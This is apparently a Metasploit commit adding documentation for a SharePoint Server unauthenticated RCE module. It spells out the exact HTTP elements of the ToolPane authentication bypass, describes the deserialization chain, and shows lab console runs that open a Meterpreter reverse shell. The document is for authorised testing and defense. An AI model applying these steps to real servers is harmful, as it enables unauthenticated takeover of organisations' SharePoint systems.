Skip to content

Commit 3237151

Browse files
sfewer-r7sfewer-r7
committed
add in the documentation
1 parent 228a066 commit 3237151

File tree

1 file changed

+188
-0
lines changed

1 file changed

+188
-0
lines changed

‎documentation/modules/exploit/windows/http/sharepoint_toolpane_rce.md

Lines changed: 188 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,188 @@
1+
## Vulnerable Application
2+
This module exploits the authentication bypass vulnerability `CVE-2025-53771` (a patch bypass of `CVE-2025-49706`),
3+
and an unsafe deserialization vulnerability `CVE-2025-53770` (a patch bypass of `CVE-2025-49704`), to achieve
4+
unauthenticated RCE against a vulnerable Microsoft SharePoint Server.
5+
6+
`CVE-2025-49706` is an authentication bypass affecting Microsoft SharePoint Server, allowing a remote unauthenticated
7+
attacker to reach the ToolPane page, located at the `/_layouts/15/ToolPane.aspx` URI. The auth bypass works if an
8+
attacker supplies the following elements to an HTTP request:
9+
10+
* An HTTP Referer header with one of the values `/_layouts/SignOut.aspx`, `/_layouts/14/SignOut.aspx`, or `/_layouts/15/SignOut.aspx`.
11+
* An HTTP query parameter named `DisplayMode` with the value `Edit`.
12+
* An HTTP query parameter with any name and the value `/ToolPane.aspx`, so long as this is the last query parameter.
13+
* An HTTP form parameter named `MSOTlPn_Uri` with the full URL to the `/_controltemplates/15/AclEditor.ascx` endpoint.
14+
15+
`CVE-2025-53771` is a patch bypass for `CVE-2025-49706`. By appending a trailing `/` to the target
16+
`/_layouts/15/ToolPane.aspx` URI, e.g. `/_layouts/15/ToolPane.aspx/` a remote unauthenticated attacker can reach
17+
the ToolPane page.
18+
19+
`CVE-2025-49704` is an unsafe deserialization vulnerability due to bypassing a filter list to allow the instantiation of
20+
`LosFormatter` and `ObjectDataProvider` in the `diffgr:diffgram` XML document, allowing us to kick off a second
21+
stage deserialization gadget (which will be a `TypeConfuseDelegate` + `LosFormatter` gadget chain).
22+
23+
`CVE-2025-53770` is a patch bypass of `CVE-2025-49704`. The patch for `CVE-2025-49704` did not apply correctly to a
24+
SharePoint site that had not also manually run a configuration upgrade. While the patch for `CVE-2025-49704` did not
25+
address the root cause, and instead marked the `Microsoft.PerformancePoint.Scorecards.Client` assembly as unsafe, the
26+
patch for `CVE-2025-53770` instead correctly addresses the root cause of `CVE-2025-49704` while also not relying
27+
on a manual configuration update to be performed.
28+
29+
## Testing
30+
This exploit module has been successfully tested against the following versions:
31+
32+
* SharePoint Server 2019 `16.0.10337.12109` - This is the RTM version. Is vulnerable to all 4 CVEs. Exploitation
33+
is reliable.
34+
* SharePoint Server 2019 `16.0.10417.20018` - This is the June 2025 patch level (`KB 5002729)`. Is vulnerable to
35+
all 4 CVEs. Exploitation is reliable.
36+
* SharePoint Server 2019 `16.0.10417.20027` - This is the July 2025 patch level (`KB 5002741`). This patched
37+
out `CVE-2025-49704` and `CVE-2025-49706`, but is vulnerable to `CVE-2025-53770` and `CVE-2025-53771`. Exploitation is
38+
reliable **unless the site administrator has manually performed a configuration update**.
39+
40+
### Setup
41+
42+
Installing Microsoft SharePoint is non-trivial. This [setup guide](https://gist.github.com/testanull/e1573437f91ec3726ab5041389c6f28d)
43+
is a great step-by-step tutorial to get up and running.
44+
45+
After you install SharePoint, you must create a new site, bound to a new port. This is what the exploit will target.
46+
47+
_NOTE: If you enable HTTPS, you will need to manually setup certificates via IIS Manager._
48+
49+
## Verification Steps
50+
51+
1. Start msfconsole
52+
2. `use exploit/windows/http/sharepoint_toolpane_rce`
53+
54+
Configure the target:
55+
56+
3. `set RHOST <TARGET_IP_ADDRESS>`
57+
4. `set RPORT <TARGET_HTTP_OR_HTTPS_PORT>`
58+
5. `set SSL true` (If targeting HTTPS)
59+
60+
Configure the payload:
61+
62+
_NOTE: If testing with the default Meterpreter payloads, you will likely need to disable Defender._
63+
64+
6. `set PAYLOAD cmd/windows/http/x64/meterpreter_reverse_tcp`
65+
7. `set LHOST eth0`
66+
8. `set LPORT 4444`
67+
68+
Run the exploit:
69+
70+
9. `check`
71+
10. `exploit`
72+
73+
## Scenarios
74+
75+
### Example 1 (cmd/windows/http/x64/meterpreter_reverse_tcp)
76+
77+
```
78+
msf exploit(windows/http/sharepoint_toolpane_rce) > show options
79+
80+
Module options (exploit/windows/http/sharepoint_toolpane_rce):
81+
82+
Name Current Setting Required Description
83+
---- --------------- -------- -----------
84+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
85+
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
86+
RPORT 80 yes The target port (TCP)
87+
SSL false no Negotiate SSL/TLS for outgoing connections
88+
VHOST no HTTP server virtual host
89+
90+
91+
Payload options (cmd/windows/http/x64/meterpreter_reverse_tcp):
92+
93+
Name Current Setting Required Description
94+
---- --------------- -------- -----------
95+
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
96+
EXTENSIONS no Comma-separate list of extensions to load
97+
EXTINIT no Initialization strings for extensions
98+
FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
99+
FETCH_DELETE true yes Attempt to delete the binary after execution
100+
FETCH_FILENAME ccMNrNsj no Name to use on remote system when storing payload; cannot contain spaces or slashes
101+
FETCH_SRVHOST no Local IP to use for serving payload
102+
FETCH_SRVPORT 8080 yes Local port to use for serving payload
103+
FETCH_URIPATH no Local URI to use for serving payload
104+
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
105+
LHOST 192.168.86.122 yes The listen address (an interface may be specified)
106+
LPORT 4444 yes The listen port
107+
108+
109+
When FETCH_COMMAND is one of CURL:
110+
111+
Name Current Setting Required Description
112+
---- --------------- -------- -----------
113+
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
114+
115+
116+
Exploit target:
117+
118+
Id Name
119+
-- ----
120+
0 Default
121+
122+
123+
124+
View the full module info with the info, or info -d command.
125+
126+
msf exploit(windows/http/sharepoint_toolpane_rce) > check
127+
[*] 192.168.86.50:80 - The target appears to be vulnerable. Detected Microsoft SharePoint Server 2019 version 16.0.10417.20027
128+
msf exploit(windows/http/sharepoint_toolpane_rce) > exploit
129+
[*] Started reverse TCP handler on 192.168.86.122:4444
130+
[*] Running automatic check ("set AutoCheck false" to disable)
131+
[+] The target appears to be vulnerable. Detected Microsoft SharePoint Server 2019 version 16.0.10417.20027
132+
[*] Meterpreter session 3 opened (192.168.86.122:4444 -> 192.168.86.50:62290) at 2025-07-23 12:58:41 +0100
133+
134+
meterpreter > sysinfo
135+
Computer : WIN-V28QNSO2H05
136+
OS : Windows Server 2022 (10.0 Build 20348).
137+
Architecture : x64
138+
System Language : en_US
139+
Domain : TESTDOMAIN
140+
Logged On Users : 24
141+
Meterpreter : x64/windows
142+
meterpreter > pwd
143+
c:\windows\system32\inetsrv
144+
meterpreter >
145+
```
146+
147+
### Example 2 (cmd/windows/generic)
148+
149+
```
150+
msf exploit(windows/http/sharepoint_toolpane_rce) > show options
151+
152+
Module options (exploit/windows/http/sharepoint_toolpane_rce):
153+
154+
Name Current Setting Required Description
155+
---- --------------- -------- -----------
156+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
157+
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
158+
RPORT 80 yes The target port (TCP)
159+
SSL false no Negotiate SSL/TLS for outgoing connections
160+
VHOST no HTTP server virtual host
161+
162+
163+
Payload options (cmd/windows/generic):
164+
165+
Name Current Setting Required Description
166+
---- --------------- -------- -----------
167+
CMD notepad.exe yes The command string to execute
168+
169+
170+
Exploit target:
171+
172+
Id Name
173+
-- ----
174+
0 Default
175+
176+
177+
178+
View the full module info with the info, or info -d command.
179+
180+
msf exploit(windows/http/sharepoint_toolpane_rce) > exploit
181+
[*] Running automatic check ("set AutoCheck false" to disable)
182+
[+] The target appears to be vulnerable. Detected Microsoft SharePoint Server 2019 version 16.0.10417.20027
183+
[*] Exploit completed, but no session was created.
184+
msf exploit(windows/http/sharepoint_toolpane_rce) >
185+
```
186+
187+
You will be able to observe in Task Manager or Process Explorer that the `w3wp.exe` process has spawned `cmd.exe` which
188+
has spawned `notepad.exe`.

0 commit comments

Comments
 (0)